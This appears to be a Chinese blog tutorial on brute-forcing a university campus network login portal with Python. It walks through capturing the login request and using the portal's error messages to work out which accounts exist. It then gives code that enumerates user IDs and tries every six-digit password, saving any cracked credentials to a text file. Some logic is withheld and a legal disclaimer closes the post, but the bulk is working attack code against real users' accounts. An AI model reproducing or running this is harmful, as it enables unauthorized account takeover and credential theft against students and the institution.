web爆破技术分析
Python实现Web爆破获取校园网账号密码
前言
我们都知道当我们想要获取某些账号的密码时可以通过多种方式实现,比较常用的方法就是通过爆破的手段获得,可是现在的网站都会设置验证码等技术防止我们多次进行请求,从而阻止我们进行爆破。那是不是我们就无法进行爆破了呢?其实并不是,因为现在有很多的网站依旧在使用前端验证的方式试图阻止我们,但是前端的话我们只需要稍微分析一下发包或者逆向一下js代码就可以轻松绕过了。这篇文章主要也就是通过抓包来绕过前端验证并写python脚本来实现校园网账号的爆破。
第一步 web登录页面抓包分析
我们尝试输入一个不存在的账号和密码,然后重复几次之后发现有验证码保护网页以免被爆破,这个时候我们单纯的靠web自动化已经不能很好的实现爆破了(其实还是有办法的,只不过比较麻烦而且爆破的效率还比较低)所以我们可以进行抓包分析。
F12或者使用抓包工具对网页的发包进行拦截,获得web端法宝数据之后进行数据检索,找到我们输入的账号和密码。
发现有一个这样的请求接口(为了安全我没有给全接口地址):
**********************************?method=login
这个接口进行post发包,而且所发送的数据包含我们的账号和密码;这个接口的数据包字典是这样的:
{
'userId': userId,
'password': 0,
'service': service, # 运营商标识
'operatorPwd': '',
'operatorUserId': '',
'validcode': '',
'passwordEncrypt': 'false',
'queryString': '这里被我删掉了,我看了一下就是包含本机的一些WLAN等配置,可能密码正确然后这个字段保存到服务器,服务器看到这个配置的机器发包然后就放行吧!'
}
可以看到web端还是想对账号和密码加密然后再上传服务器判断的,可是不知道为什么还是明文传输,不过这样也好,方便我们接下来的操作(我们就不需要逆向js找到加密方式然后在python端写加密啦)。
完成这一步我们就算分析完web端的数据啦!接下来我们只需要对post字典进行修改封装然后post请求这个接口,根据返回信息来处理下一步操作就行了。
第二步 返回数据分析
因为每次请求都会进行数据返回,所以我们可以通过对返回的数据进行分析来判断我们的python脚本接下来怎么操作。
返回的json数据:
{
"result": "some_result_data",
"message": "some_message_data"
.......
}
因为我们分析数据基本上只使用到了这两个返回的参数,所以我就只放出这两段参数了。
对返回的参数分析可知有一下几种情况:
"result" : "success"
"result" : "false"
"message" : "认证失败"
"message" : "您未绑定服务对应的运营商!"
"message" : "用户不存在或者密码错误!"
"message" : "用户不存在,请输入正确的用户名!"
"message" : "用户不允许使用本服务!"
当返回"result" : "success"时表示账号密码以及选定的服务正确,这时候我们就可以将这些数据记录下来,也就是爆破成功了;
当返回 "result" : "false"或者 "message" : "认证失败"时说明我们当前机器已经连接上了校园网,我们需要断开之后才可以进行web爆破;
当返回"message" : "您未绑定服务对应的运营商!"或者"message" : "用户不允许使用本服务!"时说明此时当前尝试的账号在这个运营商里面没数据但是存在此账号;
当返回"message" : "用户不存在或者密码错误!"时说明用户是存在的而且服务商也是正确的;
通过上面的分析我们就可以开始进行python脚本的编写了。
第三步 脚本编写
我们的web爆破其实就是简单粗暴的密码尝试,我们爆破的时候如果能够知道账号是否存在的话就能够定点爆破了,这样我们也可以省去很多的时间,那我们怎么知道账号是否存在呢?
还是进行返回数据分析,我第二步说了每个返回数据代表的情况,所以我们可以从这里入手。
写一个循环然后当返回当返回"message" : "用户不存在或者密码错误!"时记录请求的账号以及运营商,这样我们很快就可以获得一个用户基本信息表了。
实现的代码:
def userid_judgment():
print("\n==================================用户信息存在检测=======================================")
service_list = {"%E8%81%94%E9%80%9A", "%E7%A7%BB%E5%8A%A8", "%E7%94%B5%E4%BF%A1", "*****-WiFi"}
user_star = int(input("用户开始值:"))
user_end = int(input("用户结束值:"))
chazhi = user_end - user_star
userId = user_star
if user_star > user_end:
print("数值不合法")
userid_judgment()
else:
if chazhi <= 5000: # 爆破阈值
i = 1
while userId <= user_end:
print("已运行", i)
userId = userId + 1
i = i + 1
for service in service_list:
parameter = {
'userId': userId,
'password': 0,
'service': service, # 运营商标识
'operatorPwd': '',
'operatorUserId': '',
'validcode': '',
'passwordEncrypt': 'false',
'queryString': ''
}
response = requests.post(url=url, params=parameter)
response.encoding = "UTF-8"
response_zhuanhuan = response.json()
message = response_zhuanhuan["message"]
result = response_zhuanhuan["result"]
print(message)
下面的代码将被隐藏,因为涉及到具体判断方式
......
通过这样的操作我们就可以获得一个基本的用户信息表了。有了这个用户信息表之后我们就可以选定我们想要爆破的账号进行爆破啦!
接下来只需要写一个循环爆破的函数就可以进行爆破了,我们可以使用字典,或者我们选定密码范围进行爆破,因为我通过一些人文方法了解到我们校园网密码一般设置为6为位,所以我可以更加方便的进行web爆破。
web爆破代码我也只放一段吧:
# web暴力破解循环头
def cycle(userId, password_start, password_end, start_end, service):
i = 0
password = password_start
if i <= 50002: # 暴力攻击最大次数
while i <= start_end:
i = i + 1
password = str(password).zfill(6)
issuccess = "非用户信息表"
net_request(userId=userId, password=password, service=service, issuccess=issuccess, list_id='')
print("已循环", i, "次")
print("尝试值:", password)
password = int(password) + 1
a = input("没有爆破成功,单击任意键退出")
exit(0)
else:
print("以达到最大值,防止被老师暴打程序已自动终止")
我们通过这个请求然后在进行判断:
response = requests.post(url=url, params=parameter)
response.encoding = "UTF-8"
result = response.json()['result']
message = response.json()['message']
print("返回json", response.json())
if result == 'success':
cpb(userId, password)
print("账号为:", userId, "密码为:", password)
a = input("记录密码成功")
exit(0)
elif message == '认证失败':
print("请链接校园网,并断开认证")
exit(0)
为了方便后续查看我们获得的账号和密码,我们可以将其保存到本地的txt文件里面:
# 创建密码本
def cpb(userId, password):
cbk_b = {
'userId': userId,
'password': password
}
cbk_b1 = open('校园网密码本.txt', encoding='utf-8', mode='a+')
cbk_b1.write(str(cbk_b) + '\n')
print('添加成功')
cbk_b1.close()
quchong(text_name="校园网密码本.txt")
差不多web爆破的思路就是这样,因为涉及到学校网络安全,所以我没有给关键代码。
注意
本文章旨在技术交流,请不要用于违法操作,所有没有获得授权的web爆破都是违法行为请不要轻易尝试。